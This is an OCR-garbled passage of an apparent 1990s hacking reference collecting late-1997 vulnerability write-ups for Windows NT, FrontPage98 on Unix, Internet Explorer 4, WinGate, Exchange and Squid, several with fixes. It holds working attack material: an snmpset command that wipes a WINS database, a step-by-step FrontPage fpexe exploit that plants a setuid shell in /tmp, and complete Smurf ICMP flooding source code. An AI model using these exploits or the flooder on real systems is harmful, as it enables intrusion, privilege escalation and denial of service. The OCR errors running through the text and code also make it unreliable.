"This variable when set will cause all information pertaining to a WNS (data records, context
information to be deleted fromthe local WNS. Use this only when owner-address mappi ng

tabl es getting to near capacity. NOTE: deletion of all information pertaining to the managed
WNS is not permtted"”

c:={ cmd 3}
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Since the SNWP tool set inplenmented under NT will not do snnp-set-requests, nmy sanple

expl oit was done using the CMJ SNWP devel opnent kit under Unix. The command

"rnjdev02: ~/ cmu$ snnpset -v 1 192.178.16.2 public .1.3.6.1.4.1.311.1.2.5.3.0 a

192.178. 16. 2" successfully entirely deleted ny WNS dat abase.

3. It appears that there are several other pieces of the LMMB2 definition that allow for things
such as renote session deletion or disconnect, etc, but | have not yet |ooked into them

4. Stopping the Probl em

The sinplest fix is to disable SNMP, or to renove the extension agents through the SNW
configuration in the registry.

If you MJUST use SNWP, then at |east block inbound access to that port. Be aware that using

NT's various SNMP agents, a nalicious intruder could gain know edge about your entire

network. In fact, they could quite easily gain everything they need to enter your network

except a password -- and those come in due time. BEWARE

[13.0.3] Frontpage98 and Uni x

Found by Marc Slenko (from netsecurity. net)

The attack was described nost adequated by the discoverer

Change History

Sat Oct 11 1997: Initial posting of web page

Wed Oct 15 1997: M crosoft posted a note responding to the issues raised. | amglad to see that
they have plans to rel ease the source of the revised version for reviewwhen it is conplete. |
will

update this page with further comments when the fixed version is rel eased.

Wed Cct 22 1997: Mcrosoft has rel eased a new version of the extensions that claimto fix the
security issues. | will conment further on the security of their proposed fix after | have tinme to
revi ew t he changes. Check back here in a few days for ny coments.

I ntroduction

The information bel ow tal ks about using Mcrosoft's Front Page 98 extensions with Apache on

Unix with Mcrosoft's nod_front page changes. This do not apply to running it on any other server
or to running it on Unix without the Mcrosoft nod frontpage changes or to running it on W ndows
NT. There are, however, other security issues on such servers, sone of which are sinilar to

those in the FrontPage 97 extensions. | should also note that the Unix server extensions seemto
be witten in part or conpletely by Ready-to-Run Software Inc. (RTR) for Mcrosoft. | will refer
to it

as Mcrosoft's product because it is, no natter who wote it. This discussion is specific to the
Front Page 98 extensions. For nore general infornmation on sone security problens in earlier
versions, some of which are resolved and some of which aren't, see Scott Fritchie's Wiy | Don't

Li ke Mcrosoft's Front Page Wb Aut horing Tool web page. Parts of it are no longer entirely

rel evant, but it provides a good background.

It is no secret that the security of the FrontPage 97 and earlier Unix server extensions is quite
poor, if Mcrosoft's instructions are followed. Some of their instructions were quite hilarious
when

first released, like the suggestion of running your web server as root. It is possible to nake

t hem

nmor e accept abl e--accept abl e enough for sone sites--but it requires careful work by the

adm ni strator.

It had appeared |ike Mcrosoft had increased the security of the extensions in the FP98 version
avail able from M crosoft's Wb Site. However, a closer examnation reveals startling flaws. Wat
they have done is nmake a snmall setuid root wapper that the web server calls. This wapper than
setuid()s to the appropriate user and runs the requested FP CA as that user. The problemlies in
the fact that the wapper ("fpexe") is witten very poorly. while naking such a w apper secure can
be difficult, the gaping holes in this program show a conpl ete | ack of understandi ng of security
in

t he Uni x environnent.

The fpexe programis available for you to inspect yourself. It was originally posted in RTR s
Front Page FAQ This version is not exactly the sane as the one currently distributed (at |east it
is not the same as the one in the BSD/CS 2.1 kit), but it is close. Both appear to exhibit the
sane

failings.

Wen | refer to the FP CA programs, | amreferring to the three files nornmally referenced under
the vti _bin directory: shtnl.exe, adnin.exe and author. exe.

The key in this discussion is the fact that nothing is stopping anyone fromtrying to run this

file://ID|//WEB/hacker/TheModHackReference.txt (136 of 169) [9/12/2004 8:18:42 PM]



file://ID)/WEB/hacker/TheM odHackReference.txt

f pexe

wrapper. If they can trick it into running, they can possible gain privileges they shouldn't.

How It Works

Bef ore you can understand the holes in the FP server extensions, you need to understand what |
mean when | tal k about the "key". Wien the Frontpage-nodified Apache server starts up, it
generates a pseudo-random string of 128 ASCI| characters as a key. This key is witten to a file
that is only readable by the user that starts Apache; normally root. The server than passes the
key to fpexe. Since fpexe is setuid root, it can conpare the key stored on disk with the one it
was

passed to be sure they match; if not, it refuses to run. This is used in an attenpt to guarantee
t hat

the only thing calling fpexe is the web server. Used properly this is a powerful part of possible
security precautions. | amnot convinced that the generation of the key is cryptographically
adequate and it may be subject to intelligent guessing attacks, however | have not |ooked at it to
see. As discussed later, the cryptographical robustness of the key doesn't really matter

There are a nunber of problens with the setuid root fpexe program | amnot attenpting a

conpl ete description of all the problens and their possible consequences and fixes, just making a
Iight sweep over the top. The nore obvious problens include:

Return codes fromlibrary calls are not properly checked. An exanple:

f = fopen( buf, "r");

fgets( key, 129, f );

fclose(f);

If fopen() failed (easy to nake it do so with ulimt -n), then if your systemdid not core dunp on
a

fgets() on a closed descriptor you would end up with an enpty key. It is obviously easy to guess
an enpty key. | amnot aware of any systens that exhibit this exact problem but it is possible.
Return codes need to be checked, especially in setuid prograns.

Proper bounds checking is not done. This |eads to obvious buffer overflows. An exanpl e:

strcpy( work, FPDIR);

strcat( work, getenv("FPEXE") );

I won't go into the details of what this does, but if you could cause this code to be executed,
you

could insert your own code on npost systens and likely gain access to the U D the programis
running as (root). This proves to be an unnecessary effort to go to, because this code is only
executed i f you have the correct key; if you have the correct key, there are far easier ways to
gain

access. Buffer overflows are one of the nost popular (albeit normally boring) types of new hol es
in programnms being publicized.

It does not clean the environnment variables before starting the CAd. Again, this means you can
gain access to the UD that the programruns as (not root). If the rest of the program was
securely

witten, this could possibly be an issue however it is of little consequence currently due to the
gapi ng hol es in other areas.

It assunmes that if you have the key, then you are authorized to have it run any program as nearly
any user you tell it to. The process you are running also needs to be in the sane process group
as the web server; all Cds run by the server, however, are in the sane process group so if you
can run a CA script you can work around the second check. It does no further checks to be sure
you are running as a user that should be allowed to run FrontPage CA@s (other than disallow ng

U D O0; the conpiled version also disallows gid 0, however the source version doesn't) or that you
are running a Frontpage related program This neans that if you get the key file, you can gain
access to any non-root U D on the server. On 99% of boxes, that will give you root. For exanple,
if binaries are owned by bin then becone bin and replace one that is run by root fromcron. The
possibilities are endl ess once you obtain this |evel of access.

And, finally, the worst: it passes the key to fpexe via an environment variable! On nobst systens,
environnent variables are available via "ps -e". This neans that anyone with access to run
progranms on the system (and there are often nore people than you think that are able to do this,
due to things such as CAds) can see it as it is being passed fromthe web server to fpexe. Recall
that once you have the key, there is little remaining before you can get full access to the
system

Denonstrati on

By now, it should be obvious that there is a serious security problemin the FrontPage 98 server

file://ID|//WEB/hacker/TheModHackReference.txt (137 of 169) [9/12/2004 8:18:42 PM]



file://ID)/WEB/hacker/TheM odHackReference.txt

extensions. Here is one denobnstration; do not think that this is the only way or that just because
you prevent one step of this process fromworking it is any nore difficult to exploit the security
hol es.

First | have to find the key. This can be done by using ps to get the environnent fromfpexe. To

do this, |I first setup a loop running (this assunes a real aka. Bourne shell; if you use the
bast ard
C-shell it obviously won't work as witten):

while true; do ps axuwwe -U nobody | grep FPKEY; done

Then | used ZeusBench, a very sinple HTTP benchmark program to generate |oad on the

server:

zb local host /fp/ _vti_bin/shtm .exe -c 50 -t 30

Any met hod of generating traffic could be used, including a web browser. Since | amusing a very
inefficient nethod of |ooking for a process, | need to generate lots of traffic to increase ny
chance

of finding one. It certainly isn't likely to happen on the first request. The requests do have to
be

made to a FP CEA script so it will call fpexe

Before long, | had what | wanted fromps (manual ly wapped):

nobody 28008 0.0 0.2 180 76 ?? DN 6: 51PM 0: 00. 01

SCRI PT_URL=/fp/ SCRIPT_URI=http://Ilocal host/fp/ FPU D=1000 FPG D=1000
FPEXE=/ _vti _bin/shtm .exe FPKEY=9AF675E332F7583776C241A4795FE387D8ESDC30E77
3FAB70794848FDEFB173FF14CDCDCA4F3FAAF144A8C95A81C04BF5FC2BIEFDE3C8DCAL

049CD

F760364E59 HTTP_USER AGENT=ZeusBench/ 1.0 HTTP_ACCEPT=*/*

PATH=/ sbi n: / usr/sbin:/bin:/usr/local/bin:/usr/bin:/usr/local/sbin/
SERVER_SOFTWARE=Apache/ 1. 2. 5- dev SERVER NAME=I ocal host SERVER PORT=80

REMOTE_HOST=I ocal host REMOTE_ADDR=127. 0. 0. 1

DOCUMENT _ROOT=/ usr /1 ocal / et ¢/ ht t pd/ ht docs SERVER_ADM N=rmar cs@nep. com

SCRI PT_FI LENAMVE=/ usr/ | ocal / f r ont page/ current ver si on/ apache-fp/_vti _bin/fpexe

REMOTE_PORT=2849 GATEWAY | NTERFACE=CG /1.1 SERVER PROTOCOL=HTTP/ 1.0

REQUEST METHOD=GET QUERY_STRI NG= REQUEST URI =/fp/ _vti _bin/shtnl.exe

SCRI PT_NAME=/ f p/ _vti _bin/shtm . exe fpexe

Then | need to use the key to make fpexe think | amthe web server. | can't just run this froma
normal shell, since | need to be in the same process group as the web server. A sinple Cd
suf fi ces:

#!'/ bi n/ sh

echo Content-type: text/plain

echo

export FPU D=3;

export FPA D=3;

export FPEXE=../../../..1..1..1..1../tnp/gotcha;

export

FPKEY=9AF675E332F7583776C241A4795FE387DBESDCB0E773FAB70794848FDEFB173
FF14CDCDCA4F3FAAF144A8C95A81C04BF5FC2BIEFDE3C8DCAL1049CDF760364E59

/usr/1ocal /front page/ currentversi on/ apache-fp/_vti_bin/fpexe 2>&1

I need a programfor it to run (/tnp/gotcha in this exanple):

#!'/ bi n/ sh

lusr/bin/id

cp /bin/sh /tnp/.nmysh

chnod u+s /tnp/.nysh

Then | sinply make a HTTP request for the CA script. | can then run /tnp/.nysh at ny leisure to
gain access to UD 3 (bin on ny systen) and do what | want fromthere.

St oppi ng the Probl em

Load the new extensions fromhere. So now you want to fix it. Well. That's the hard part. The only
real solution is for sonmeone (either Mcrosoft or a third party) to do sone work to inprove the
security. It is possible to do this securely. Mcrosoft hasn't. They have no excuse. This page
will

be updated when (if?) better fixes becone avail abl e.

The Apache web server has a SsuEXEC w apper designed to allow for a simlar thing; that is,
execution of CA scripts under a user's own UD. It is very restrictive (sone would say anal)
about what it allows: there is a reason for that, as Mcrosoft's obviously failed attenpt at
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security

shows. It is possible that suEXEC coul d be adapted to function in conjunction with FrontPage,
however it will not work w thout source nodifications.

One short term workaround until Mcrosoft addresses the issue is to sinply renove the

Front Page setup fromyour system This can be done tenporarily by renmoving the setuid bit from
fpexe (ie. chnod u-s fpexe). This will prevent all the pretty FrontPage CAs fromworking. It wll
prevent peopl e from upl oadi ng new pages using FrontPage's own nethods (ie. they can tel

Front Page to use FTP and they will still be uploaded), but generic content that doesn't rely on
Front Page' s server side CA scripts should work fine

Anot her possi ble workaround is to prevent users fromrunning the ps command. This could have

a very negative inpact on your systemif things depend on it, and is a poor solution however it
may be the best one for you. On systens that don't use a procfs (/proc) based ps, you can
normally sinply remove world execute permissions fromit to disable it. If you are on a system
like

Linux that nornmally uses a procfs for ps to get information, this doesn't solve the problem
because soneone can read fromthe procfs directly.

Last of all, since this problemonly occurs when using FrontPage with the nod_frontpage
extensions, it is possible to use the Front Page extensions on Apache w t hout using

nmod_front page or fpexe. Unfortunately, this conversion is not easy. It neans that, after
reconpil i ng Apache without any of the Mcrosoft nodifications (just comenting out

nmod_front page fromthe Configuration file may be enough; haven't checked) you have to either
manual |y copy the FrontPage C@s to the appropriate subdirectory under each user's web

directory and make them setuid to that user or copy them (or make |inks) and don't make them
setuid to that user. The forner preserves the current ownership. Wth the latter all the user's
web

files will need to be changed back to being owned by the user the web server runs as or else they
will be unable to mani pulate them and some of the FP CAs won't run correctly. This is a pain and
brings you back to the horrible security practice of letting anyone who can run CA@s nodify any
Front Page user's files. Although this may be the best tenporary workaround (although quite
annoying if you have a | arge nunber of users), | can not go into step by step details of howto
acconplish this change because | amnot fully famliar with various ways of using the FrontPage
extensions. The Mcrosoft FP security considerations docunment (part of the FP98 Server

Ext ensi ons Resource Kit) provides sone nore details of the method in which the C@s are run

wi t hout fpexe.

Comment s:

This sort of continued disregard for security is unacceptable and inexcusable. It does not take
significant know edge to know that sone of the things being done are flawed. |If internal expertise
is not avail able, an external consultant should be hired for a security review of any critica
code

such as fpexe. This is not rocket science nor is it particularily advanced progranm ng. Nothing
that | have described above is conplicated or new. Code reviews are conmmpn practice in nany
conpani es and serve good purpose.

Once Mcrosoft fixes their glaring holes, assuning they do, | would suggest you should consider if
you want to run their FrontPage extensions at all. Even though, once fpexe is properly fixed, you
only risk the accounts of users using FrontPage (since that is who the FrontPage CA scripts run
as), that can be a significant risk. It is very possible that when soneone gets bored they wll
find a

hole in the FrontPage CA scripts that gives themuser |evel access to your system And

M crosoft doesn't (and isn't likely to in the future, if their past is any indication) give the
source to

those. Mcrosoft's own source speaks better for itself than anyone el se ever coul d.

I have this nagging feeling that this will result in Mcrosoft comng out with a "fixed" version
and

not releasing the source to it at all. After all, it was only after the source came out that these
flaws becane a problem Right? Wong. This was a gaping hole waiting to be discovered. It would
have

al nrost certainly been discovered sooner or |ater regardl ess of source availability; better sooner
than later. | certainly hope that Mcrosoft doesn't think the lesson in this is that source should
not

be released. It is insecure with or without the source. The FrontPage server extensions aren't
going to find their way anywhere near any nachines | control any tine soon because | have no
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trust in the conpany behind them

On a side note, Mcrosoft actually nodifies the server nane returned to clients when the

Front Page patches are installed in Apache to include "FrontPage/ x.x.x". That is fine, however it
gi ves anyone connecting to your server the ability to determ ne the chances of them being able to
break into your systemusing holes in the FP server extensions.

[13.0.4] TCP/IP Flooding with Smurf

Found by TFreak (from ntsecurity. net)

The Probl em

The smurf attack is quite sinple. It has a |list of broadcast addresses which it stores into an
array,

and sends a spoofed | CMP echo request to each of those addresses in series and starts again.

The result is a devistating attack upon the spoofed | P. Depending on the anount of broadcast
addresses used, many, many conputers nay respond to the echo request.

This attack can EASILY saturate a Tl circuit, rendering it conpletely useless.

HERE | S THE SMJURF SOURCE CODE

* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $*

* spoofs icnp packets froma host to various broadcast addresses resulting
*innultiple replies to that host froma single packet.

* di scl ai ner:

* | cannot and will not be held responsible nor Iegally bound for the

* malicious activities of individuals who come into possession of this

* programand | refuse to provide help or support of any kind and do NOT
* condone use of this programto deny service to anyone or any nachi ne.

* This is for educational use only. Please Don't abuse this.

* TFreak

*/

#i ncl ude <signal . h>

#i ncl ude <stdio. h>

#i ncl ude <stdlib. h>

#i ncl ude <sys/socket. h>

#i ncl ude <sys/types. h>

#i ncl ude <netinet/in.h>

#i ncl ude <netinet/ip.h>

#i ncl ude <netinet/ip_icnp. h>

#i ncl ude <net db. h>

#i ncl ude <ctype. h>

#i ncl ude <arpal/inet. h>

#i ncl ude <uni std. h>

#i ncl ude <string. h>

voi d banner (voi d);

voi d usage(char *);

void snmurf(int, struct sockaddr _in, u_long, int);
void ctrlc(int);

unsi gned short in_chksunm(u_short *, int);
[* stanp */

char id[] = "$ld snurf.c,v 4.0 1997/10/11 13:02: 42 EST tfreak Exp $";
int min (int argc, char *argv[])

{

struct sockaddr_in sin;

struct hostent *he;

FI LE *bcastfil e;

int i, sock, bcast, delay, num pktsize, cycle = 0, x;
char buf[32], **bcastaddr = mall oc(8192);
banner () ;

signal (SIGNT, ctrlc);

if (argc < 6) usage(argv[O0]);

if ((he = gethostbynane(argv[1])) == NULL) {
perror("resol ving source host");

exit(-1);

mencpy((caddr _t)&sin.sin_addr, he->h_addr, he->h_| ength);
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sin.sin_famly = AF_I NET;

sin.sin_port = htons(0);

num = atoi (argv[3]);

delay = atoi(argv[4]);

pktsize = atoi (argv[5]);

if ((bcastfile = fopen(argv[2], "r")) == NULL) {
perror("opening bcast file");

exit(-1);
}
x = 0;

while (!feof (bcastfile)) {
fgets(buf, 32, bcastfile);

if (buf[0] =="#" || buf[0] =="\n" || ! isdigit(buf[0])) continue;
for (i =0; i < strlen(buf); i++)
if (buf[i] =="\n") buf[i] ="\0";

bcastaddr[x] = malloc(32);
strcpy(bcastaddr[x], buf);
X++;

}

bcast addr[x] = 0x0;

fclose(bcastfile);

if (x == 0) {

fprintf(stderr, "ERROR no broadcasts found in file %\n\n", argv[2]);
exit(-1);

}

if (pktsize > 1024) {

fprintf(stderr, "ERROR packet size nust be < 1024\n\n");

exit(-1);

}

if ((sock = socket (AF_I NET, SOCK RAW |PPROTO RAW) < 0) {
perror("getting socket");

exit(-1);

}

set sockopt (sock, SOL_SOCKET, SO BROADCAST, (char *)&bcast, sizeof(bcast))
printf("Flooding % (. = 25 outgoing packets)\n", argv[1]);
for (i =0; i <num]|| !'num i++) {

if ('(i %25)) { printf("."); fflush(stdout); }

snurf (sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
cycl e++;

if (bcastaddr[cycle] == 0x0) cycle = 0;

usl eep(del ay) ;

}
puts("\n\n");
return O;

voi d banner (void)

{

puts("\nsmurf.c v4.0 by TFreak\n");
}

voi d usage (char *prog)

{

fprintf(stderr, "usage: % "
“\n\n"

"target = address to hit\n"

"bcast file = file to read broadcast addresses fromn"
"num packets = nunber of packets to send (0 = flood)\n"
"packet delay = wait between each packet (in ns)\n"
"packet size = size of packet (< 1024)\n\n", prog);
exit(-1);

void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
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{

struct iphdr *ip;

struct icnphdr *icnp;

char *packet;

packet = mall oc(sizeof (struct iphdr) + sizeof(struct icnphdr) + psize);

ip = (struct iphdr *)packet;

icnp = (struct icnphdr *) (packet + sizeof(struct iphdr));

menset (packet, 0, sizeof(struct iphdr) + sizeof(struct icnphdr) + psize);
ip->tot_len = htons(sizeof (struct iphdr) + sizeof(struct icnphdr) + psize);
i p->ihl = 5;

i p->version = 4;

ip->ttl = 255;

i p->tos = 0;

i p->frag_off = 0;

i p->protocol = | PPROTO_|I C\VP;

i p->saddr = sin.sin_addr.s_addr;

i p->daddr = dest;

i p->check = in_chksum((u_short *)ip, sizeof(struct iphdr));

i cnp->type = 8;

i cnp->code = O;

i cnp->checksum = i n_chksum((u_short *)icnp, sizeof(struct icnphdr) + psize);
sendt o(sock, packet, sizeof(struct iphdr) + sizeof(struct icnphdr) + psize,
0, (struct sockaddr *)&sin, sizeof(struct sockaddr));

free(packet); /* free willy! */

void ctrlc (int ignored)

{

put s("\ nDone!'\n");

exit(1);

}

unsi gned short in_chksum (u_short *addr, int |en)
{

register int nleft = len;

register int sum= 0;

u_short answer = 0;

while (nleft > 1) {

sum += *addr ++

nleft -= 2;

}

if (nleft == 1) {

*(u_char *)(&nswer) = *(u_char *)addr
sum += answer ;

}

sum = (sum >> 16) + (sum + Oxffff);
sum += (sum >> 16);

answer = ~sum
return(answer);
}

[13.0.5] SLMail Security Problem

Found by David LeBlanc (from ntsecurity. net)

David LeBlanc wites:

Version 2.5 (current version) is vulnerable to a buffer overrun attack on the POP3 service. If the
usernane supplied is too long, the service will fail with a nenory exception. To the best of our
know edge, there are no current exploits which can cause renote execution, but given the
characteristics of the failure, it seens entirely possible that this could occur. At the very

|l east, it

constitutes a denial of service which will require rebooting the server if attacked. W notified
Seattle Lab of this problemtw nonths ago, and they did not seemto understand the severity of
t he problem

St oppi ng the Probl em

Upgrade to version 2.6
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[13.0.6] IE 4.0 and DHTM.

Found by Ral f Hueskes (ntsecurity.net)

The Probl em

A dangerous security hole in Internet Explorer 4.0 was detected by Ralf Hueskes of Jabadoo
Conmuni cati ons when he conducted a series of security tests for C T conputer nagazine.

H's tests revealed that it is possible to spy on the contents of any text and HTM. files on
sonmebody el se's conputer. Not only local files are in danger, but also data on your conpany's
intranet - even if it is protected by a firewall

The security hole exists even if users have activated the highest security level in their browser.
The problem affects both the German and the English version of the Internet Explorer.

The code needed for infiltrating your files can be hidden in any nornmal Wb page or in an e-nail
nmessage.

Techni cal Details

The spy pages nmake use of JScript. If a user accesses a page or receives an e-nail containing
this code, infiltration begins ...

The spy page contains a so-called | FRAME sized 1 by 1 pixel. Wen a user accesses the page or
opens the e-mai|l nessage, a snall Jscript programloads the HTML or text file to be spied on into
this frame. The contents of the frame can then be read using Dynam c HTM. and sent as a
paranmeter hidden in a URL to any Web server in the Internet.

Protective Measures

According to Ralf Hueskes of Jabadoo Conmuni cations, the security hole exploits an error in the
Internet Explorer 4.0 that can be fixed only by the manufacturer. Mcrosoft is aware of the
problem and will neke available a patch for downl oad fromhttp://ww. m crosoft.comie/ on

Cct ober 17th 1997.

Experi enced users can protect thenselves by conpletely deactivating the execution of Active
Scripting in the security settings (nmenu item Tool s/Options/Security, Settings/Custom (for expert
users)/ Active Scripting/Di sable) and by using the Security Zones feature in Internet Explorer 4.0
[13.0.7] 2 NT Registry Risks

Found by David LeBl anc (ntsecurity. net)

The Probl em

The attack was described nost adequated in the |SS X-Force Security Advisory:

I SS Security Alert

Cct ober 21, 1997

Schedul er/ Wnl ogi n Keys have Incorrect Perm ssions

This advisory describes two simlar configuration problens in the Wndows NT Registry key

perm ssions. These vulnerabilities can allow users with Server Operator privilege to increase
their

access level to Adninistrator.

Probl em 1: Schedul er Key Has | ncorrect Perm ssions

Affects: Wndows NT

Description: The HKEY_LOCAL_MACHI NE\ Syst eml Current Cont rol Set\ Servi ces\ Schedul e key

controls the schedul e service. Server Qperators have permission to wite to this registry tree,
whi ch would allow themto manually schedule jobs to be run by the schedul e service, which normally
execut es under the system user context. This can be used to raise the Server

Operator's access level to Adm nistrator.

Ri sk: Medi um

Sol ution: Local Machine (GJ): Fromthe Start nenu, choose 'Run.' Type 'regedt32' and click
"OK.'" This opens the Registry Editor. Through the Security nenu, renmove wite access to the
Schedul e key for Server Operators.

Probl em 2: Wnl ogon Key Has | ncorrect Perm ssions

Affects: Wndows NT

Description: The

HKEY LOCAL_MACHI NE\ Sof t war e\ M cr osof t \ W ndowsNT\ Cur r ent Ver si on\ W nl ogon key has two

val ues which can be used to cause a process to execute upon either system bootup, or when a
user logs on. The prograns pointed to by the System val ue run under the system user context
after boot, and could be used to change a user's rights or access level. The Userlnit value runs
applications when a user logs in. The default settings for this key allow Server Operators to
wite

t hese val ues, either of which could be used to raise a System Qperator's access level to

Adnmi ni strator.

Ri sk: Medi um
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Sol ution: Local Machine (GUJI): Fromthe Start nenu, choose 'Run.' Type 'regedt32' and click
"OK.' This opens the Registry Editor. Through the Security menu, renove wite access to the
W nl ogon key for Server Operators.

Caution: Care nust be taken when using the Registry Editor. If incorrect values are entered, the
system nay becone inoperable. Should a m stake be made when editing the registry val ues, the
registry state can be restored to the state at the last tinme the system booted up. For nore

i nformati on, see the Wndows NT Hel p under the "Registry" section

Acknowl edgnents: This problemwas identified by David LeBlanc of 1SS (dl eblanc@ss. net).
[13.0.8] Wngate Proxy Server

Found by Bill Mattocks

The Probl em

The attack was described nost adequated by the person reporting it to us, Bill Mattock

A recent hol e has been discovered in the default security settings of a popular Wndows 95 /
W ndows NT proxy server called WnGate, by Deerfield Comunications:

This bug was di scovered by a 15-year-old hacker, Joshua E. Rodd, whose e-nmil address is
jerrod@ bm net

As a sem -well-known anti-spamrer, | amactive in the Usenet newsgroup known as
news. adm n. net - abuse. email. Recently, we anti-spanmers cane under attack by person or
persons unknown, who was sending us a variety of hateful e-mail, seemingly fromdifferent dialup

| SP ports around the worl d.
I was fortunate enough to observe two such attacks in progress, and | telnetted to the IP

addresses indicated by the headers on the e-nmmil nmessages. In each case, | was greeted by a
"W nGate>" pronpt, although the IP addresses were different.
Apparently, a nunber of other anti-spamers got the same "hate" e-mail, and notified the ISP

that the e-mail appeared to be coming from- in at |east one case, a dialup user lost their access
because of the conplaints.

Because | had seen a "WnGate" pronpt at two different | P addresses were the attacks seened

to be originating from | decided to do a little digging. | discovered that the text of the

nessage
cont ai ned sone mspellings that were unusual. | used DejaNews to search for those nispellings,
in conjunction with the word "WnGate." | thereby di scovered young M. Rodd

He had di scovered this bug, had witten an exploit for it, and had witten a netscanner which
woul d conmb a specified netblock | ooking for vulnerable WnGate hosts. He managed to find that if
one telnets to a WnGate host that is not properly secured (which was, until a week or so ago, the
default state of these servers), one could telnet into and then back out of the WnGate server

whi ch woul d "launder" one's actual |P address. Thereafter, if one nounted an attack on anot her
machine, or if one sent e-mail by "hijacking" an open SMIP server, one would seemto be com ng
fromthe | ocation of the WnGate server. This exploit was used to harass anti-spamers with
untraceable e-nmmil, but one could well imagine that it could be used for a variety of other

att acks.

It is easy to see that this type of IP laundering would be sinpler to performthan |IP spoofing,
and

nearly as bulletproof in ternms of being untraceabl e.

Joshua has, unfortunately, dissem nated his hacking tools far and wi de by now, as he was quite
proud of his abilities.

This informati on has been reported by C/ Net news |ast week, and has been given to Deerfield
Conmuni cations as well. Mchael Deerfield is the CEO of the corporation, and he is quite
concerned, but he is also understandably quite concerned about the potential publicity damage to
his conmpany. He was initially a bit hostile, posting nessages in Usenet news to the effect that
this

type of "wi de open" behaviour of his WnGate Proxy server was "by design," and was totally

secure. He failed to i mediately grasp that although the I NTERI OR of the proxy server probably

is safe fromattack, the rest of the Internet is not safe fromthis exploit, which would result in
fingers of blane being pointed back at his innocent clintele, and then eventually to WnGate.
WnGate has indicated that this "bug," which they still claimis not a bug, has been repaired in

t he

newest version of WnGate, v2.0. However, WnGate is avail able as shareware, and Deerfield

Conmuni cations has estimated that there are hundreds of thousands of copies of the ol der

software in circulation. Deerfield HAS placed sinple instructions on disabling telnet on their web
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page, with a quick description of why a sysadmin would want to do so.

This informati on has been reported to CERT at cert @ert.org, however, they have not responded

at this time, and it has been nearly two weeks since | reported it. Vint Cerf has al so been
notified,

and he assigned an MClI security person to look into it, and that person has not responded to ne
at this time, either (after an initial e-nail nessage, that is).

As this is not an exploit designed to penetrate a network, nor is it an Denial of Service attack,
I

bel i eve that many peopl e are pooh-pooh'ing the incident, and | have heard comments to the

effect that "all firewalls and proxy servers are like that." Perhaps so, but | only know of this
one at

this time.

[13.0.9] OReilly Website upl oader Hol e

Found by Herman deVette

Systens runni ng Website(c) with upl oader.exe in place are vul nerable. Wbsite ships with a
program cal | ed UPLOADER. EXE that all ows conpatible Wb clients to upload files to the Wb
server. Using the UPLOADER. EXE application with a nodified HTM. page will allow an attacker

to upload an file the attacker w shes.

The following is from Herman:

"The program upl oader. exe doesn't check anything at all. If you're lucky, you' re running W ndows
NT and have put only "read/ execute access” on CE-WN and other executable paths. Oherw se

(wi n95) you have a real problem You could create a Cd program next you change the HTM.
filealittle like this.

Open the HTML file in your browser, select a nice CA file to upload and run that CA program
renotely. (No need to tell you what this CA programcould do, could be .bat file too in one of
Website's other CG directories)"”

Her man de Vette

To Stop the problem get rid of the upl oader.exe application and ftp your information

[13.1.0] Exchange 5.0 Password Caching

Found by Rajiv Pant

Exchange 5.0 Server's POP3 service has a bug in it that causes the systemto not properly flush
cached passwords. A d passwords will continue to be valid along with newWy set passwords. This
problemw || persist until the cache is flushed. David LeBlanc points out that Mcrosofts FTP,
HTTP, and Gopher service also suffer fromthe sanme problem The problem does not affect NT |ogins
t hensel ves.

To correct the problem you nust edit the follow ng registry keys:

HKLM Syst eml Cur r ent Cont r ol Set\ Servi ces\ MsExchangel s\ Paranmet ersNet | f\ Credenti al s

Cache Age Linmt (Default = 120 mi nutes)

HKLM Syst em Cur r ent Cont r ol Set\ Ser vi ces\ MsExchangel s\ Par anmet ersNet | f\ Credenti al s

Cache Idle Limt (Default = 15 m nutes)

HKLM Syst em Cur r ent Cont r ol Set\ Servi ces\ MsExchangel s\ Par anet ersNet | f\ Credenti al s

Cache Size (Default = 256 buckets)

Make the settings =0

[13.1.1] Crashing NT using NTFS

Found by Martin Stienerling

Affects NT systens running Service Pack 3 al so.

Recently, a programrel eased from Gernmany (crashnt.exe) seens to be able to crash an NT

server. The program was coded by Martin Stiemerling. It executes in a comand wi ndow and
functions off of one paraneter, a drive letter. (exanple: crash d:). It seens that the program may
be a spawn of an NT Defragmentation program The fact that this programw ||l crash and render

an NTFS vol une usel ess i s spooky.

Davi d LeBl anc says he thinks this nay be a result of something in the NtFsControl File() function.
[13.1.2] The Get Adm n Exploit

Found by Konstantin Sobol ev

The CGet Admin programoriginated in Russia and has the ability to add users to the Adninistrators
group. No special permissions are needed to execute the program which interestingly runs

through a telnet session as well. Mcrosoft released a patch that they said stops the attack. If
however, you run crash4.exe on the server first and then run Get Admin, the exploit still works.
(A

of the executabl es di scussed here are available in the tools section.)
[13.1.3] Squid Proxy Server Hole
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Found by Fred Al brecht

If soneone FTP's into site via URL, the password the user uses could possibly be recovered from
Net Scape Comuni cator or fromthe |ogs of the Squid Proxy server (versions 1.1.10 and 1.1.11).
-- Excerpt fromntsecurity. net

Met hod for testing:

1. Start NS Conmunicator 4.0

2. Enter a URL of the form"ftp://user@ost.donai n. xxx"

3. Communi cator pops up a password entry dialog. Enter the password.

4. Wien the file list is displayed in the browser wi ndow, follow the "Parent Directory"” |ink

5. dick the BACK button (seens to be optional in Linux)

The password is now plainly visible in the URL field, simlar to the foll ow ng:

"ftp://user: passwd@ost . donmai n. xxx"

W' Il explain this out a bit clearer bel ow

Normally, if a site allows anonynmous FTP, this neans you don't need a usernane and password
pair to login. You just use "anonynmous" and your enmil addr for the password and you're in -
whi ch is handl ed transparently by your browser when used for FTP access. But if the site is
regul ated, and requires a usernane password pair, then you'd be pronpted by Comunicator 4.0
if, and only if, you used Comunicator to FTP to that protected site.

Let's say you want to FTP to a site which is protected. You'd enter a URL |like this:
"ftp://yourname@tp. someftpsite.com- at which point Comunicator connects to the site, and
pops up a wi ndow asking you to enter your password that matches the "yourname" user account.
You enter the password, click OK and it sends it to the site for authentication. BUT, IT ALSO
PUTS I T IN THE HI STORY FI LE OF COYWUNI CATOR in this format:
"ftp://yourname: password@t p. soneftpsite.cont

So you can see, in the beginning, the URL did not have the password included. But, once you enter
t he password using Communi cator 4.0, it gets added to the URL and put in the history file.
Therefore, anyone with access to your Communi cator woul d have access to your history file, and
thus, the stored passwords - should there be any.

Be aware that it has been reported that JavaScript can access the history list, neaning a
mal i ci ous Web page coul d be grabbi ng passwords from your browser w thout your know edge.

ALSO - it appears that the Squid Proxy Server is in fact witing the user's password in plain text
to

its own logs as well - which we should all know is a bad thing.

